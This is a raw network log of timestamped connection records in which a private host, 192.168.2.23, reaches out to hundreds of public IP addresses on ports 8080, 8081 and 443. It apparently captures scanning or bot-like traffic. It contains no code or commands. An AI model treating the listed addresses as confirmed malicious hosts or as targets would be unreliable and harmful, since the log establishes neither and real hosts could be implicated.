Mar 2, 2024 12:36:51.818985939 CET	50694	8081	192.168.2.23	116.144.119.68
Mar 2, 2024 12:36:51.818985939 CET	50694	8081	192.168.2.23	85.89.73.91
Mar 2, 2024 12:36:51.818985939 CET	50950	8080	192.168.2.23	201.134.233.166
Mar 2, 2024 12:36:51.819005013 CET	50694	8081	192.168.2.23	100.253.74.228
Mar 2, 2024 12:36:51.819005013 CET	50694	8081	192.168.2.23	5.55.101.234
Mar 2, 2024 12:36:51.819005013 CET	50694	8081	192.168.2.23	188.197.87.139
Mar 2, 2024 12:36:51.819005013 CET	50950	8080	192.168.2.23	187.90.187.169
Mar 2, 2024 12:36:51.819005013 CET	50694	8081	192.168.2.23	171.45.162.24
Mar 2, 2024 12:36:51.819005013 CET	50950	8080	192.168.2.23	201.47.131.90
Mar 2, 2024 12:36:51.819005013 CET	50694	8081	192.168.2.23	212.120.99.15
Mar 2, 2024 12:36:51.819005013 CET	50950	8080	192.168.2.23	187.133.65.113
Mar 2, 2024 12:36:51.819009066 CET	50694	8081	192.168.2.23	178.32.115.135
Mar 2, 2024 12:36:51.819009066 CET	50694	8081	192.168.2.23	199.59.89.243
Mar 2, 2024 12:36:51.819009066 CET	50950	8080	192.168.2.23	187.176.169.248
Mar 2, 2024 12:36:51.819009066 CET	50950	8080	192.168.2.23	187.54.50.174
Mar 2, 2024 12:36:51.819010019 CET	50694	8081	192.168.2.23	123.188.134.185
Mar 2, 2024 12:36:51.819010019 CET	50694	8081	192.168.2.23	48.71.229.130
Mar 2, 2024 12:36:51.819010019 CET	50950	8080	192.168.2.23	201.155.7.23
Mar 2, 2024 12:36:51.819010019 CET	50694	8081	192.168.2.23	108.251.120.253
Mar 2, 2024 12:36:51.819031954 CET	50694	8081	192.168.2.23	177.202.236.252
Mar 2, 2024 12:36:51.819031954 CET	50950	8080	192.168.2.23	189.30.39.64
Mar 2, 2024 12:36:51.819031954 CET	50950	8080	192.168.2.23	201.200.122.246
Mar 2, 2024 12:36:51.819031954 CET	50694	8081	192.168.2.23	116.131.42.183
Mar 2, 2024 12:36:51.819032907 CET	50950	8080	192.168.2.23	187.162.59.54
Mar 2, 2024 12:36:51.819032907 CET	50950	8080	192.168.2.23	189.138.43.37
Mar 2, 2024 12:36:51.819036961 CET	50950	8080	192.168.2.23	201.26.59.153
Mar 2, 2024 12:36:51.819036961 CET	50950	8080	192.168.2.23	189.232.224.86
Mar 2, 2024 12:36:51.819036961 CET	50694	8081	192.168.2.23	4.28.130.246
Mar 2, 2024 12:36:51.819036961 CET	50694	8081	192.168.2.23	190.183.249.129
Mar 2, 2024 12:36:51.819036961 CET	50694	8081	192.168.2.23	135.180.82.240
Mar 2, 2024 12:36:51.819036961 CET	50950	8080	192.168.2.23	187.140.244.2
Mar 2, 2024 12:36:51.819051981 CET	50694	8081	192.168.2.23	204.191.33.20
Mar 2, 2024 12:36:51.819051981 CET	50950	8080	192.168.2.23	189.205.192.218
Mar 2, 2024 12:36:51.819053888 CET	50950	8080	192.168.2.23	187.47.234.53
Mar 2, 2024 12:36:51.819051981 CET	50694	8081	192.168.2.23	184.27.97.55
Mar 2, 2024 12:36:51.819053888 CET	50694	8081	192.168.2.23	130.133.192.241
Mar 2, 2024 12:36:51.819051981 CET	50950	8080	192.168.2.23	189.221.198.146
Mar 2, 2024 12:36:51.819053888 CET	50694	8081	192.168.2.23	46.212.92.160
Mar 2, 2024 12:36:51.819051981 CET	50694	8081	192.168.2.23	201.126.21.108
Mar 2, 2024 12:36:51.819053888 CET	50694	8081	192.168.2.23	97.89.243.101
Mar 2, 2024 12:36:51.819051981 CET	50694	8081	192.168.2.23	213.149.128.39
Mar 2, 2024 12:36:51.819053888 CET	50694	8081	192.168.2.23	157.64.169.183
Mar 2, 2024 12:36:51.819051981 CET	50694	8081	192.168.2.23	53.245.225.238
Mar 2, 2024 12:36:51.819053888 CET	50950	8080	192.168.2.23	189.74.120.89
Mar 2, 2024 12:36:51.819053888 CET	50950	8080	192.168.2.23	189.12.11.6
Mar 2, 2024 12:36:51.819060087 CET	50950	8080	192.168.2.23	189.93.195.194
Mar 2, 2024 12:36:51.819060087 CET	50950	8080	192.168.2.23	201.104.228.180
Mar 2, 2024 12:36:51.819060087 CET	50950	8080	192.168.2.23	201.57.230.39
Mar 2, 2024 12:36:51.819104910 CET	50950	8080	192.168.2.23	189.134.139.52
Mar 2, 2024 12:36:51.819104910 CET	50950	8080	192.168.2.23	189.134.5.15
Mar 2, 2024 12:36:51.819109917 CET	50950	8080	192.168.2.23	201.178.110.160
Mar 2, 2024 12:36:51.819109917 CET	50182	443	192.168.2.23	79.66.190.138
Mar 2, 2024 12:36:51.819109917 CET	50950	8080	192.168.2.23	187.66.78.188
Mar 2, 2024 12:36:51.819109917 CET	50950	8080	192.168.2.23	189.160.82.148
Mar 2, 2024 12:36:51.819109917 CET	50950	8080	192.168.2.23	201.150.97.101
Mar 2, 2024 12:36:51.819116116 CET	50182	443	192.168.2.23	118.72.184.122
Mar 2, 2024 12:36:51.819116116 CET	50950	8080	192.168.2.23	189.190.22.150
Mar 2, 2024 12:36:51.819116116 CET	50182	443	192.168.2.23	94.114.89.173
Mar 2, 2024 12:36:51.819116116 CET	50950	8080	192.168.2.23	189.84.199.251
Mar 2, 2024 12:36:51.819116116 CET	50950	8080	192.168.2.23	187.61.145.54
Mar 2, 2024 12:36:51.819128036 CET	443	50182	118.72.184.122	192.168.2.23
Mar 2, 2024 12:36:51.819134951 CET	50182	443	192.168.2.23	37.183.134.54
Mar 2, 2024 12:36:51.819135904 CET	443	50182	79.66.190.138	192.168.2.23
Mar 2, 2024 12:36:51.819134951 CET	50950	8080	192.168.2.23	189.52.241.103
Mar 2, 2024 12:36:51.819134951 CET	50182	443	192.168.2.23	5.201.179.10
Mar 2, 2024 12:36:51.819134951 CET	50950	8080	192.168.2.23	189.2.143.140
Mar 2, 2024 12:36:51.819134951 CET	50182	443	192.168.2.23	178.222.251.11
Mar 2, 2024 12:36:51.819138050 CET	443	50182	94.114.89.173	192.168.2.23
Mar 2, 2024 12:36:51.819143057 CET	50182	443	192.168.2.23	178.35.111.97
Mar 2, 2024 12:36:51.819143057 CET	50950	8080	192.168.2.23	201.96.255.175
Mar 2, 2024 12:36:51.819143057 CET	50950	8080	192.168.2.23	201.22.135.3
Mar 2, 2024 12:36:51.819143057 CET	50182	443	192.168.2.23	94.228.147.96
Mar 2, 2024 12:36:51.819144011 CET	50950	8080	192.168.2.23	187.196.127.143
Mar 2, 2024 12:36:51.819144011 CET	50182	443	192.168.2.23	79.104.49.206
Mar 2, 2024 12:36:51.819144011 CET	50182	443	192.168.2.23	42.130.197.105
Mar 2, 2024 12:36:51.819144011 CET	50182	443	192.168.2.23	5.166.227.79
Mar 2, 2024 12:36:51.819149017 CET	443	50182	37.183.134.54	192.168.2.23
Mar 2, 2024 12:36:51.819158077 CET	50950	8080	192.168.2.23	187.96.36.149
Mar 2, 2024 12:36:51.819159031 CET	50182	443	192.168.2.23	118.41.27.114
Mar 2, 2024 12:36:51.819159985 CET	443	50182	178.35.111.97	192.168.2.23
Mar 2, 2024 12:36:51.819159031 CET	50182	443	192.168.2.23	2.224.163.180
Mar 2, 2024 12:36:51.819159985 CET	50950	8080	192.168.2.23	201.214.186.27
Mar 2, 2024 12:36:51.819159031 CET	50950	8080	192.168.2.23	201.133.30.49
Mar 2, 2024 12:36:51.819159985 CET	50950	8080	192.168.2.23	189.248.60.21
Mar 2, 2024 12:36:51.819163084 CET	50182	443	192.168.2.23	212.138.49.176
Mar 2, 2024 12:36:51.819159985 CET	50950	8080	192.168.2.23	201.14.25.80
Mar 2, 2024 12:36:51.819163084 CET	50950	8080	192.168.2.23	201.111.108.225
Mar 2, 2024 12:36:51.819164991 CET	443	50182	5.201.179.10	192.168.2.23
Mar 2, 2024 12:36:51.819166899 CET	50950	8080	192.168.2.23	201.220.94.28
Mar 2, 2024 12:36:51.819163084 CET	50182	443	192.168.2.23	118.3.241.236
Mar 2, 2024 12:36:51.819166899 CET	50950	8080	192.168.2.23	189.199.201.132
Mar 2, 2024 12:36:51.819166899 CET	50182	443	192.168.2.23	37.210.232.213
Mar 2, 2024 12:36:51.819159985 CET	50950	8080	192.168.2.23	187.254.125.186
Mar 2, 2024 12:36:51.819173098 CET	443	50182	94.228.147.96	192.168.2.23
Mar 2, 2024 12:36:51.819166899 CET	50950	8080	192.168.2.23	187.152.186.107
Mar 2, 2024 12:36:51.819166899 CET	50950	8080	192.168.2.23	201.141.84.136
Mar 2, 2024 12:36:51.819159985 CET	50950	8080	192.168.2.23	187.106.51.11
Mar 2, 2024 12:36:51.819166899 CET	50950	8080	192.168.2.23	201.12.212.185
Mar 2, 2024 12:36:51.819166899 CET	50950	8080	192.168.2.23	201.115.152.247
Mar 2, 2024 12:36:51.819174051 CET	50950	8080	192.168.2.23	187.33.99.166
Mar 2, 2024 12:36:51.819166899 CET	50182	443	192.168.2.23	210.185.65.84
Mar 2, 2024 12:36:51.819174051 CET	50950	8080	192.168.2.23	187.61.140.132
Mar 2, 2024 12:36:51.819180012 CET	443	50182	212.138.49.176	192.168.2.23
Mar 2, 2024 12:36:51.819174051 CET	50182	443	192.168.2.23	109.163.207.93
Mar 2, 2024 12:36:51.819166899 CET	50182	443	192.168.2.23	37.17.28.18
Mar 2, 2024 12:36:51.819181919 CET	443	50182	118.41.27.114	192.168.2.23
Mar 2, 2024 12:36:51.819166899 CET	50182	443	192.168.2.23	210.167.134.237
Mar 2, 2024 12:36:51.819185019 CET	443	50182	79.104.49.206	192.168.2.23
Mar 2, 2024 12:36:51.819166899 CET	50950	8080	192.168.2.23	189.52.117.201
Mar 2, 2024 12:36:51.819166899 CET	50950	8080	192.168.2.23	201.163.90.167
Mar 2, 2024 12:36:51.819174051 CET	50182	443	192.168.2.23	94.147.100.90
Mar 2, 2024 12:36:51.819166899 CET	50950	8080	192.168.2.23	201.84.255.95
Mar 2, 2024 12:36:51.819166899 CET	50182	443	192.168.2.23	42.218.237.125
Mar 2, 2024 12:36:51.819159985 CET	50950	8080	192.168.2.23	189.169.80.253
Mar 2, 2024 12:36:51.819195032 CET	50182	443	192.168.2.23	118.72.184.122
Mar 2, 2024 12:36:51.819196939 CET	443	50182	2.224.163.180	192.168.2.23
Mar 2, 2024 12:36:51.819174051 CET	50182	443	192.168.2.23	94.227.247.122
Mar 2, 2024 12:36:51.819195032 CET	50182	443	192.168.2.23	94.114.89.173
Mar 2, 2024 12:36:51.819174051 CET	50182	443	192.168.2.23	2.33.36.185
Mar 2, 2024 12:36:51.819195032 CET	50950	8080	192.168.2.23	201.59.117.212
Mar 2, 2024 12:36:51.819174051 CET	50950	8080	192.168.2.23	201.22.53.237
Mar 2, 2024 12:36:51.819159985 CET	50182	443	192.168.2.23	118.177.223.164
Mar 2, 2024 12:36:51.819174051 CET	50950	8080	192.168.2.23	201.190.40.243
Mar 2, 2024 12:36:51.819180012 CET	443	50182	178.222.251.11	192.168.2.23
Mar 2, 2024 12:36:51.819159985 CET	50950	8080	192.168.2.23	187.36.8.184
Mar 2, 2024 12:36:51.819199085 CET	443	50182	42.130.197.105	192.168.2.23
Mar 2, 2024 12:36:51.819166899 CET	50950	8080	192.168.2.23	201.18.77.161
Mar 2, 2024 12:36:51.819209099 CET	443	50182	118.3.241.236	192.168.2.23
Mar 2, 2024 12:36:51.819215059 CET	443	50182	5.166.227.79	192.168.2.23
Mar 2, 2024 12:36:51.819219112 CET	443	50182	210.185.65.84	192.168.2.23
Mar 2, 2024 12:36:51.819219112 CET	50182	443	192.168.2.23	2.254.31.175
Mar 2, 2024 12:36:51.819219112 CET	50182	443	192.168.2.23	109.36.98.104
Mar 2, 2024 12:36:51.819219112 CET	50182	443	192.168.2.23	37.112.236.12
Mar 2, 2024 12:36:51.819219112 CET	50182	443	192.168.2.23	37.183.134.54
Mar 2, 2024 12:36:51.819219112 CET	50182	443	192.168.2.23	5.201.179.10
Mar 2, 2024 12:36:51.819222927 CET	50182	443	192.168.2.23	37.217.12.187
Mar 2, 2024 12:36:51.819224119 CET	50182	443	192.168.2.23	212.138.49.176
Mar 2, 2024 12:36:51.819222927 CET	50950	8080	192.168.2.23	189.26.192.207
Mar 2, 2024 12:36:51.819222927 CET	50182	443	192.168.2.23	210.193.81.137
Mar 2, 2024 12:36:51.819222927 CET	50950	8080	192.168.2.23	189.117.85.189
Mar 2, 2024 12:36:51.819222927 CET	50950	8080	192.168.2.23	201.158.9.148
Mar 2, 2024 12:36:51.819222927 CET	50182	443	192.168.2.23	178.35.111.97
Mar 2, 2024 12:36:51.819222927 CET	50182	443	192.168.2.23	94.228.147.96
Mar 2, 2024 12:36:51.819231033 CET	443	50182	37.17.28.18	192.168.2.23
Mar 2, 2024 12:36:51.819232941 CET	50950	8080	192.168.2.23	201.241.242.166
Mar 2, 2024 12:36:51.819231033 CET	443	50182	2.254.31.175	192.168.2.23
Mar 2, 2024 12:36:51.819233894 CET	443	50182	109.163.207.93	192.168.2.23
Mar 2, 2024 12:36:51.819232941 CET	50182	443	192.168.2.23	2.224.163.180
Mar 2, 2024 12:36:51.819232941 CET	50182	443	192.168.2.23	118.41.27.114
Mar 2, 2024 12:36:51.819236040 CET	443	50182	37.210.232.213	192.168.2.23
Mar 2, 2024 12:36:51.819237947 CET	443	50182	37.217.12.187	192.168.2.23
Mar 2, 2024 12:36:51.819240093 CET	443	50182	118.177.223.164	192.168.2.23
Mar 2, 2024 12:36:51.819241047 CET	443	50182	109.36.98.104	192.168.2.23
Mar 2, 2024 12:36:51.819242001 CET	50182	443	192.168.2.23	118.3.241.236
Mar 2, 2024 12:36:51.819243908 CET	443	50182	210.167.134.237	192.168.2.23
Mar 2, 2024 12:36:51.819247007 CET	443	50182	42.218.237.125	192.168.2.23
Mar 2, 2024 12:36:51.819247961 CET	443	50182	210.193.81.137	192.168.2.23
Mar 2, 2024 12:36:51.819252014 CET	443	50182	37.112.236.12	192.168.2.23
Mar 2, 2024 12:36:51.819252014 CET	50182	443	192.168.2.23	178.222.251.11
Mar 2, 2024 12:36:51.819256067 CET	443	50182	94.147.100.90	192.168.2.23
Mar 2, 2024 12:36:51.819257975 CET	443	50182	94.227.247.122	192.168.2.23
Mar 2, 2024 12:36:51.819258928 CET	50182	443	192.168.2.23	79.104.49.206
Mar 2, 2024 12:36:51.819258928 CET	50182	443	192.168.2.23	42.130.197.105
Mar 2, 2024 12:36:51.819259882 CET	443	50182	2.33.36.185	192.168.2.23
Mar 2, 2024 12:36:51.819258928 CET	50182	443	192.168.2.23	5.166.227.79
Mar 2, 2024 12:36:51.819258928 CET	50950	8080	192.168.2.23	187.137.165.213
Mar 2, 2024 12:36:51.819268942 CET	50182	443	192.168.2.23	2.120.185.182
Mar 2, 2024 12:36:51.819269896 CET	50182	443	192.168.2.23	178.124.66.61
Mar 2, 2024 12:36:51.819269896 CET	50182	443	192.168.2.23	79.66.190.138
Mar 2, 2024 12:36:51.819268942 CET	50182	443	192.168.2.23	118.10.181.150
Mar 2, 2024 12:36:51.819272041 CET	50950	8080	192.168.2.23	201.37.21.37
Mar 2, 2024 12:36:51.819268942 CET	50182	443	192.168.2.23	210.243.77.194
Mar 2, 2024 12:36:51.819269896 CET	50182	443	192.168.2.23	109.233.12.151
Mar 2, 2024 12:36:51.819268942 CET	50950	8080	192.168.2.23	187.203.182.221
Mar 2, 2024 12:36:51.819272041 CET	50950	8080	192.168.2.23	189.18.72.106
Mar 2, 2024 12:36:51.819276094 CET	50182	443	192.168.2.23	118.177.223.164
Mar 2, 2024 12:36:51.819268942 CET	50182	443	192.168.2.23	212.194.11.241
Mar 2, 2024 12:36:51.819269896 CET	50950	8080	192.168.2.23	201.224.170.149
Mar 2, 2024 12:36:51.819268942 CET	50950	8080	192.168.2.23	189.214.173.199
Mar 2, 2024 12:36:51.819269896 CET	50950	8080	192.168.2.23	187.32.36.13
Mar 2, 2024 12:36:51.819268942 CET	50182	443	192.168.2.23	42.63.194.201
Mar 2, 2024 12:36:51.819282055 CET	50182	443	192.168.2.23	37.112.236.12
Mar 2, 2024 12:36:51.819269896 CET	50182	443	192.168.2.23	178.41.223.147
Mar 2, 2024 12:36:51.819284916 CET	50182	443	192.168.2.23	37.217.12.187
Mar 2, 2024 12:36:51.819268942 CET	50182	443	192.168.2.23	118.113.67.181
Mar 2, 2024 12:36:51.819282055 CET	50182	443	192.168.2.23	109.36.98.104
Mar 2, 2024 12:36:51.819288969 CET	443	50182	178.124.66.61	192.168.2.23
Mar 2, 2024 12:36:51.819294930 CET	443	50182	109.233.12.151	192.168.2.23
Mar 2, 2024 12:36:51.819294930 CET	50182	443	192.168.2.23	210.193.81.137
Mar 2, 2024 12:36:51.819298029 CET	443	50182	178.41.223.147	192.168.2.23
Mar 2, 2024 12:36:51.819303036 CET	443	50182	2.120.185.182	192.168.2.23
Mar 2, 2024 12:36:51.819308996 CET	443	50182	118.10.181.150	192.168.2.23
Mar 2, 2024 12:36:51.819314957 CET	50182	443	192.168.2.23	2.254.31.175
Mar 2, 2024 12:36:51.819319963 CET	50182	443	192.168.2.23	109.163.207.93
Mar 2, 2024 12:36:51.819320917 CET	443	50182	210.243.77.194	192.168.2.23
Mar 2, 2024 12:36:51.819319963 CET	50950	8080	192.168.2.23	189.238.16.225
Mar 2, 2024 12:36:51.819319963 CET	50182	443	192.168.2.23	94.227.247.122
Mar 2, 2024 12:36:51.819319963 CET	50182	443	192.168.2.23	94.147.100.90
Mar 2, 2024 12:36:51.819319963 CET	50182	443	192.168.2.23	2.33.36.185
Mar 2, 2024 12:36:51.819319963 CET	50182	443	192.168.2.23	178.124.66.61
Mar 2, 2024 12:36:51.819319963 CET	50182	443	192.168.2.23	37.210.232.213
Mar 2, 2024 12:36:51.819319963 CET	50182	443	192.168.2.23	42.218.237.125
Mar 2, 2024 12:36:51.819334030 CET	443	50182	212.194.11.241	192.168.2.23
Mar 2, 2024 12:36:51.819339037 CET	50950	8080	192.168.2.23	201.143.112.153
Mar 2, 2024 12:36:51.819343090 CET	50182	443	192.168.2.23	109.233.12.151
Mar 2, 2024 12:36:51.819349051 CET	50182	443	192.168.2.23	178.41.223.147
Mar 2, 2024 12:36:51.819350004 CET	443	50182	42.63.194.201	192.168.2.23
Mar 2, 2024 12:36:51.819351912 CET	50950	8080	192.168.2.23	189.59.233.165
Mar 2, 2024 12:36:51.819360971 CET	443	50182	118.113.67.181	192.168.2.23
Mar 2, 2024 12:36:51.819369078 CET	50950	8080	192.168.2.23	187.210.33.12
Mar 2, 2024 12:36:51.819372892 CET	50182	443	192.168.2.23	210.185.65.84
Mar 2, 2024 12:36:51.819372892 CET	50182	443	192.168.2.23	210.167.134.237
Mar 2, 2024 12:36:51.819372892 CET	50182	443	192.168.2.23	37.17.28.18
Mar 2, 2024 12:36:51.819372892 CET	50182	443	192.168.2.23	2.120.185.182
Mar 2, 2024 12:36:51.819372892 CET	50182	443	192.168.2.23	118.10.181.150
Mar 2, 2024 12:36:51.819372892 CET	50182	443	192.168.2.23	210.243.77.194
Mar 2, 2024 12:36:51.819372892 CET	50182	443	192.168.2.23	212.194.11.241
Mar 2, 2024 12:36:51.819379091 CET	50950	8080	192.168.2.23	201.161.21.101
Mar 2, 2024 12:36:51.819389105 CET	50950	8080	192.168.2.23	189.201.125.83
Mar 2, 2024 12:36:51.819400072 CET	50182	443	192.168.2.23	42.63.194.201
Mar 2, 2024 12:36:51.819400072 CET	50182	443	192.168.2.23	118.113.67.181
Mar 2, 2024 12:36:51.819411993 CET	50950	8080	192.168.2.23	187.129.21.184
Mar 2, 2024 12:36:51.819412947 CET	50950	8080	192.168.2.23	189.139.55.225
Mar 2, 2024 12:36:51.819417953 CET	50950	8080	192.168.2.23	201.244.208.127
Mar 2, 2024 12:36:51.819417953 CET	50950	8080	192.168.2.23	187.181.75.99
Mar 2, 2024 12:36:51.819417953 CET	50950	8080	192.168.2.23	201.241.45.21
Mar 2, 2024 12:36:51.819428921 CET	50950	8080	192.168.2.23	187.152.193.199
Mar 2, 2024 12:36:51.819428921 CET	50950	8080	192.168.2.23	189.83.72.113
Mar 2, 2024 12:36:51.819431067 CET	50182	443	192.168.2.23	94.133.45.232
Mar 2, 2024 12:36:51.819431067 CET	50950	8080	192.168.2.23	201.177.229.130
Mar 2, 2024 12:36:51.819434881 CET	50950	8080	192.168.2.23	201.52.79.239
Mar 2, 2024 12:36:51.819436073 CET	50950	8080	192.168.2.23	187.163.86.56
Mar 2, 2024 12:36:51.819436073 CET	50182	443	192.168.2.23	5.222.202.184
Mar 2, 2024 12:36:51.819436073 CET	50950	8080	192.168.2.23	189.185.136.3
Mar 2, 2024 12:36:51.819437027 CET	50950	8080	192.168.2.23	187.97.67.236
Mar 2, 2024 12:36:51.819437027 CET	50182	443	192.168.2.23	37.217.239.84
Mar 2, 2024 12:36:51.819437981 CET	50182	443	192.168.2.23	5.66.235.11
Mar 2, 2024 12:36:51.819437027 CET	50950	8080	192.168.2.23	189.195.250.75
Mar 2, 2024 12:36:51.819439888 CET	443	50182	94.133.45.232	192.168.2.23
Mar 2, 2024 12:36:51.819437027 CET	50950	8080	192.168.2.23	187.40.202.241
Mar 2, 2024 12:36:51.819437027 CET	50182	443	192.168.2.23	212.15.191.40
Mar 2, 2024 12:36:51.819437027 CET	50950	8080	192.168.2.23	201.160.103.75
Mar 2, 2024 12:36:51.819437981 CET	50950	8080	192.168.2.23	201.205.98.236
Mar 2, 2024 12:36:51.819437027 CET	50950	8080	192.168.2.23	201.2.221.231
Mar 2, 2024 12:36:51.819437981 CET	50950	8080	192.168.2.23	189.172.168.149
Mar 2, 2024 12:36:51.819453955 CET	50950	8080	192.168.2.23	189.97.170.120
Mar 2, 2024 12:36:51.819456100 CET	443	50182	5.222.202.184	192.168.2.23
Mar 2, 2024 12:36:51.819457054 CET	443	50182	37.217.239.84	192.168.2.23
Mar 2, 2024 12:36:51.819461107 CET	50182	443	192.168.2.23	2.234.7.126
Mar 2, 2024 12:36:51.819461107 CET	50950	8080	192.168.2.23	201.14.50.20
Mar 2, 2024 12:36:51.819461107 CET	50182	443	192.168.2.23	37.118.208.88
Mar 2, 2024 12:36:51.819461107 CET	50182	443	192.168.2.23	2.203.14.91
Mar 2, 2024 12:36:51.819461107 CET	50950	8080	192.168.2.23	189.48.200.162
Mar 2, 2024 12:36:51.819463015 CET	50182	443	192.168.2.23	2.9.229.43
Mar 2, 2024 12:36:51.819463015 CET	50950	8080	192.168.2.23	189.29.37.246
Mar 2, 2024 12:36:51.819463015 CET	50950	8080	192.168.2.23	201.153.2.94
Mar 2, 2024 12:36:51.819463968 CET	50182	443	192.168.2.23	118.190.200.18
Mar 2, 2024 12:36:51.819463015 CET	50182	443	192.168.2.23	2.96.143.167
Mar 2, 2024 12:36:51.819463968 CET	50950	8080	192.168.2.23	201.94.40.85
Mar 2, 2024 12:36:51.819467068 CET	50182	443	192.168.2.23	2.143.206.81
Mar 2, 2024 12:36:51.819468021 CET	443	50182	5.66.235.11	192.168.2.23
Mar 2, 2024 12:36:51.819467068 CET	50950	8080	192.168.2.23	189.46.103.96
Mar 2, 2024 12:36:51.819467068 CET	50950	8080	192.168.2.23	189.77.235.151
Mar 2, 2024 12:36:51.819469929 CET	443	50182	212.15.191.40	192.168.2.23
Mar 2, 2024 12:36:51.819470882 CET	443	50182	2.234.7.126	192.168.2.23
Mar 2, 2024 12:36:51.819475889 CET	443	50182	2.9.229.43	192.168.2.23
Mar 2, 2024 12:36:51.819477081 CET	443	50182	118.190.200.18	192.168.2.23
Mar 2, 2024 12:36:51.819479942 CET	50182	443	192.168.2.23	118.184.13.166
Mar 2, 2024 12:36:51.819479942 CET	50950	8080	192.168.2.23	201.32.186.192
Mar 2, 2024 12:36:51.819480896 CET	443	50182	2.143.206.81	192.168.2.23
Mar 2, 2024 12:36:51.819479942 CET	50182	443	192.168.2.23	2.213.204.100
Mar 2, 2024 12:36:51.819479942 CET	50950	8080	192.168.2.23	189.68.18.108
Mar 2, 2024 12:36:51.819483995 CET	50950	8080	192.168.2.23	201.61.19.114
Mar 2, 2024 12:36:51.819484949 CET	443	50182	37.118.208.88	192.168.2.23
Mar 2, 2024 12:36:51.819487095 CET	443	50182	118.184.13.166	192.168.2.23
Mar 2, 2024 12:36:51.819489956 CET	443	50182	2.203.14.91	192.168.2.23
Mar 2, 2024 12:36:51.819490910 CET	50182	443	192.168.2.23	42.229.46.210
Mar 2, 2024 12:36:51.819489956 CET	50950	8080	192.168.2.23	201.210.188.123
Mar 2, 2024 12:36:51.819490910 CET	50950	8080	192.168.2.23	201.141.174.34
Mar 2, 2024 12:36:51.819490910 CET	50950	8080	192.168.2.23	201.109.25.109
Mar 2, 2024 12:36:51.819490910 CET	50182	443	192.168.2.23	109.76.52.103
Mar 2, 2024 12:36:51.819489956 CET	50950	8080	192.168.2.23	189.224.179.202
Mar 2, 2024 12:36:51.819489956 CET	50950	8080	192.168.2.23	189.130.140.49
Mar 2, 2024 12:36:51.819502115 CET	443	50182	2.96.143.167	192.168.2.23
Mar 2, 2024 12:36:51.819502115 CET	50950	8080	192.168.2.23	189.182.64.222
Mar 2, 2024 12:36:51.819502115 CET	50950	8080	192.168.2.23	187.63.78.26
Mar 2, 2024 12:36:51.819503069 CET	50950	8080	192.168.2.23	201.96.139.128
Mar 2, 2024 12:36:51.819503069 CET	50182	443	192.168.2.23	178.157.38.254
Mar 2, 2024 12:36:51.819504976 CET	443	50182	2.213.204.100	192.168.2.23
Mar 2, 2024 12:36:51.819506884 CET	50950	8080	192.168.2.23	189.17.222.199
Mar 2, 2024 12:36:51.819506884 CET	50950	8080	192.168.2.23	189.236.65.91
Mar 2, 2024 12:36:51.819506884 CET	50950	8080	192.168.2.23	189.44.33.154
Mar 2, 2024 12:36:51.819506884 CET	50950	8080	192.168.2.23	201.162.133.241
Mar 2, 2024 12:36:51.819506884 CET	50950	8080	192.168.2.23	187.221.2.150
Mar 2, 2024 12:36:51.819509029 CET	443	50182	42.229.46.210	192.168.2.23
Mar 2, 2024 12:36:51.819509983 CET	50182	443	192.168.2.23	94.133.45.232
Mar 2, 2024 12:36:51.819509983 CET	50182	443	192.168.2.23	37.158.181.158
Mar 2, 2024 12:36:51.819509983 CET	50182	443	192.168.2.23	118.152.182.174
Mar 2, 2024 12:36:51.819509983 CET	50182	443	192.168.2.23	94.217.214.213
Mar 2, 2024 12:36:51.819514036 CET	50950	8080	192.168.2.23	189.234.42.43
Mar 2, 2024 12:36:51.819514990 CET	443	50182	178.157.38.254	192.168.2.23
Mar 2, 2024 12:36:51.819514036 CET	50182	443	192.168.2.23	118.227.41.240
Mar 2, 2024 12:36:51.819514036 CET	50182	443	192.168.2.23	94.104.160.184
Mar 2, 2024 12:36:51.819514036 CET	50182	443	192.168.2.23	79.181.55.183
Mar 2, 2024 12:36:51.819514990 CET	50182	443	192.168.2.23	178.189.27.71
Mar 2, 2024 12:36:51.819514990 CET	50182	443	192.168.2.23	2.9.229.43
Mar 2, 2024 12:36:51.819519043 CET	50182	443	192.168.2.23	2.102.65.75
Mar 2, 2024 12:36:51.819519043 CET	50182	443	192.168.2.23	118.205.80.115
Mar 2, 2024 12:36:51.819521904 CET	443	50182	37.158.181.158	192.168.2.23
Mar 2, 2024 12:36:51.819523096 CET	50182	443	192.168.2.23	5.70.62.210
Mar 2, 2024 12:36:51.819521904 CET	50182	443	192.168.2.23	5.66.235.11
Mar 2, 2024 12:36:51.819523096 CET	50182	443	192.168.2.23	5.222.202.184
Mar 2, 2024 12:36:51.819521904 CET	50182	443	192.168.2.23	118.184.13.166
Mar 2, 2024 12:36:51.819523096 CET	50182	443	192.168.2.23	2.143.206.81
Mar 2, 2024 12:36:51.819526911 CET	443	50182	118.152.182.174	192.168.2.23
Mar 2, 2024 12:36:51.819526911 CET	443	50182	109.76.52.103	192.168.2.23
Mar 2, 2024 12:36:51.819526911 CET	50950	8080	192.168.2.23	189.97.92.210
Mar 2, 2024 12:36:51.819528103 CET	443	50182	2.102.65.75	192.168.2.23
Mar 2, 2024 12:36:51.819526911 CET	50950	8080	192.168.2.23	189.205.72.62
Mar 2, 2024 12:36:51.819526911 CET	50950	8080	192.168.2.23	201.12.47.117
Mar 2, 2024 12:36:51.819526911 CET	50182	443	192.168.2.23	109.251.121.200
Mar 2, 2024 12:36:51.819526911 CET	50950	8080	192.168.2.23	187.72.96.61
Mar 2, 2024 12:36:51.819533110 CET	443	50182	5.70.62.210	192.168.2.23
Mar 2, 2024 12:36:51.819534063 CET	50182	443	192.168.2.23	2.234.7.126
Mar 2, 2024 12:36:51.819534063 CET	50182	443	192.168.2.23	37.118.208.88
Mar 2, 2024 12:36:51.819534063 CET	50182	443	192.168.2.23	2.203.14.91
Mar 2, 2024 12:36:51.819535017 CET	443	50182	94.104.160.184	192.168.2.23
Mar 2, 2024 12:36:51.819535017 CET	443	50182	94.217.214.213	192.168.2.23
Mar 2, 2024 12:36:51.819539070 CET	443	50182	118.205.80.115	192.168.2.23
Mar 2, 2024 12:36:51.819539070 CET	443	50182	118.227.41.240	192.168.2.23
Mar 2, 2024 12:36:51.819541931 CET	50182	443	192.168.2.23	37.217.239.84
Mar 2, 2024 12:36:51.819541931 CET	50182	443	192.168.2.23	212.15.191.40
Mar 2, 2024 12:36:51.819541931 CET	50182	443	192.168.2.23	42.229.46.210
Mar 2, 2024 12:36:51.819544077 CET	50182	443	192.168.2.23	178.8.228.135
Mar 2, 2024 12:36:51.819545031 CET	443	50182	79.181.55.183	192.168.2.23
Mar 2, 2024 12:36:51.819545984 CET	50950	8080	192.168.2.23	187.182.252.155
Mar 2, 2024 12:36:51.819547892 CET	443	50182	178.189.27.71	192.168.2.23
